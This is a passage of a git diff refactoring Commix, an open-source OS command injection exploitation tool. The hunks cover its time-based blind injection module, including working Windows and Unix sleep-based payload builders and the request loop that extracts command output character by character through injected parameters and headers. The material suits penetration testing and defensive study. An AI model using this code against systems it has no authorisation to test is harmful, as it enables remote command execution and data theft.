tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: + if proceed_option.lower() == "c": + if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: return False + elif proceed_option.lower() == "s": + from src.core.injections.semiblind.techniques.file_based import fb_handler + fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) elif proceed_option.lower() == "q": raise SystemExit() else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(proceed_option) pass else: - if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: - settings.TIME_RELATIVE_ATTACK = False + if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: + settings.TIME_RELATED_ATTACK = False return False # eof diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 73a8b6e85c..ce543a5655 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -3,576 +3,34 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys -import time -import json -import string -import random -import base64 -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import menu -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.blind.techniques.time_based import tb_payloads +from src.core.injections.controller import injector """ The "time-based" injection technique on Blind OS Command Injection. """ -""" -Examine the GET/POST requests -""" -def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response): - - start = 0 - end = 0 - start = time.time() - - # Check if defined method is GET (Default). - if not menu.options.data: - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - target = url.replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) - - # Check if defined method is POST. - else : - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - - return how_long - -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - start = 0 - end = 0 - start = time.time() - - # Check if defined method is GET (Default). - if not menu.options.data: - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) - - # Check if defined method is POST. - else: - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - return how_long, vuln_parameter - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Host-based injection) -""" -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) - """ The main command injection exploitation. """ -def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - - if settings.TARGET_OS == "win": - previous_cmd = cmd - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" - - if menu.options.file_write or menu.options.file_upload: - minlen = 0 - else: - minlen = 1 - - found_chars = False - info_msg = "Retrieving the length of execution output. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - for output_length in range(int(minlen), int(maxlen)): - if alter_shell: - # Execute shell commands on vulnerable host. - payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) - else: - # Execute shell commands on vulnerable host. - payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - - if injection_check == True: - if output_length > 1: - if settings.VERBOSITY_LEVEL != 0: - pass - else: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Retrieved the length of execution output: " + str(output_length) - print(settings.print_bold_debug_msg(debug_msg)) - else: - sub_content = "Retrieved: " + str(output_length) - print(settings.print_sub_content(sub_content)) - found_chars = True - injection_check = False - break - - # Proceed with the next (injection) step! - if found_chars == True : - if settings.TARGET_OS == "win": - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - output = [] - percent = "0.0%" - info_msg = "Presuming the execution output." - if settings.VERBOSITY_LEVEL == 0 : - info_msg += ".. (" + str(percent) + ")" - elif settings.VERBOSITY_LEVEL == 1 : - info_msg += "" - else: - info_msg += "\n" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - for num_of_chars in range(1, int(num_of_chars)): - char_pool = checks.generate_char_pool(num_of_chars) - for ascii_char in char_pool: - if alter_shell: - # Get the execution output, of shell execution. - payload = tb_payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - else: - # Get the execution output, of shell execution. - payload = tb_payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - - if injection_check == True: - if settings.VERBOSITY_LEVEL == 0: - output.append(chr(ascii_char)) - percent = ((num_of_chars*100)/output_length) - float_percent = str("{0:.1f}".format(round(((num_of_chars * 100)/(output_length * 1.0)),2))) + "%" - if percent == 100: - float_percent = settings.info_msg - else: - float_percent = ".. (" + str(float_percent) + ")" - info_msg = "Presuming the execution output." - info_msg += float_percent - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - else: - output.append(chr(ascii_char)) - injection_check = False - break - - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - # Check for empty output. - if output == (len(output) * " "): - output = "" - - else: - check_start = 0 - if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - else: - pass - - check_how_long = 0 - output = False - - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - return check_how_long, output +def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique): + OUTPUT_TEXTFILE = "" + return injector.time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response): - - if settings.TARGET_OS == "win": - previous_cmd = cmd - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" - - found_chars = False - debug_msg = "Checking the reliability of the used payload " - debug_msg += "in case of a false positive result. " - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - - # Varying the sleep time. - timesec = timesec + random.randint(1, 5) - - # Checking the output length of the used payload. - for output_length in range(1, 3): - # Execute shell commands on vulnerable host. - if alter_shell: - payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) - else: - payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL != 0: - debug_msg = "Generating payload for testing the reliability of used payload." - print("\n" + settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - found_chars = True - break - - if found_chars == True : - if settings.TARGET_OS == "win": - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - - output = [] - percent = 0 - sys.stdout.flush() - - is_valid = False - for num_of_chars in range(1, int(num_of_chars)): - for ascii_char in range(1, 20): - - if alter_shell: - # Get the execution output, of shell execution. - payload = tb_payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - else: - # Get the execution output, of shell execution. - payload = tb_payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for testing the reliability of used payload." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - output.append(ascii_char) - is_valid = True - break - - if is_valid: - break - - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - return how_long, output - else: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - warn_msg = "False positive or unexploitable injection point detected." - print(settings.print_warning_msg(warn_msg)) - - -""" -Export the injection results -""" -def export_injection_results(cmd, separator, output, check_how_long): +def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique): + OUTPUT_TEXTFILE = "" + return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) - if output != "" and check_how_long != 0 : - if settings.VERBOSITY_LEVEL == 0: - print("\n") - elif settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - print(settings.print_output(output)) - info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - sys.stdout.write("\n" + settings.print_info_msg(info_msg)) - else: - # Check if exists pipe filtration. - if output != False : - err_msg = "It appears that '" + cmd + "' command could not return " - err_msg += "any output due to '" + separator + "' filtration on target host. " - err_msg += "To bypass that limitation, use the '--alter-shell' option " - err_msg += "or try another injection technique (i.e. '--technique=\"f\"')" - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - # Check for fault command. - else: - err_msg = "The '" + cmd + "' command, does not return any output." - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - sys.stdout.write("\r" + settings.print_critical_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 9cf94630f8..2a029feca9 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -3,13 +3,13 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -25,71 +25,56 @@ Time-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " - "do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + if settings.TARGET_OS == settings.OS.WINDOWS: + if separator == "|" or separator == "||" : + pipe = "|" + payload = (pipe + + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " + "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " - "do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + payload = (ampersand + + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " + "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - + else: + pass else: - if separator == ";" : - payload = (separator + - "str=$(echo " + TAG + ")" + separator + + if separator == ";" or separator == "%0a": + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + + "fi" ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=$(echo " + TAG + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0 " + separator + - "str=$(echo " + TAG + ")" + separator + + payload = (ampersand + + "sleep 0 " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "[ " + str(output_length) + " -eq $str1 ]" + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + "sleep " + str(timesec) ) - #if menu.options.data: separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(output_length) + " != $(echo " + TAG + " " + - pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + + "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.SINGLE_WHITESPACE + + pipe + "tr -d '\\n' " + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + separator + "sleep " + str(timesec) - ) + ) else: pass @@ -99,78 +84,60 @@ def decision(separator, TAG, output_length, timesec, http_request_method): __Warning__: The alternative shells are still experimental. """ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print len(\'" + TAG + "\')\"" - if separator == "||" : - payload = (separator + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + if settings.TARGET_OS == settings.OS.WINDOWS: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + if separator == "|" or separator == "||" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(output_length) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + payload = (ampersand + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(output_length) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - else: - if separator == ";" : - payload = (separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) + else: + pass - elif separator == "%0a" : - separator = "\n" - payload = (separator + + else: + if separator == ";" or separator == "%0a": + payload = (separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " - "$(python -c \"import time\ntime.sleep(0)\") " + separator + + payload = (ampersand + settings.SINGLE_WHITESPACE + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator + - "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - #if menu.options.data: separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " != $(python -c \"print len(\'" + TAG + "\')\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) + "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + 